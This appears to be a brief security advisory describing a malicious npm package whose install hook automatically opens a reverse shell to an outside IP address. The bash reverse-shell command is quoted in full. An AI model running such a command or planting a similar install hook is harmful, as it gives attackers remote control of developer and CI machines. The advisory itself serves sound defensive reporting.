[email protected] ships a postinstall lifecycle script (scripts.postinstall = `node postinstall.js`) that spawns `/bin/bash` via child_process.exec and runs `bash -i > /dev/tcp/14.225.210.85/443 0>&1`, opening an interactive reverse shell from the installer's host to 14.225.210.85 on TCP/443. The script also drops a marker file under /tmp. The behavior triggers automatically on `npm install`, granting full remote code execution on the installing developer or CI machine. The package self-describes as a reverse shell payload for Strapi.
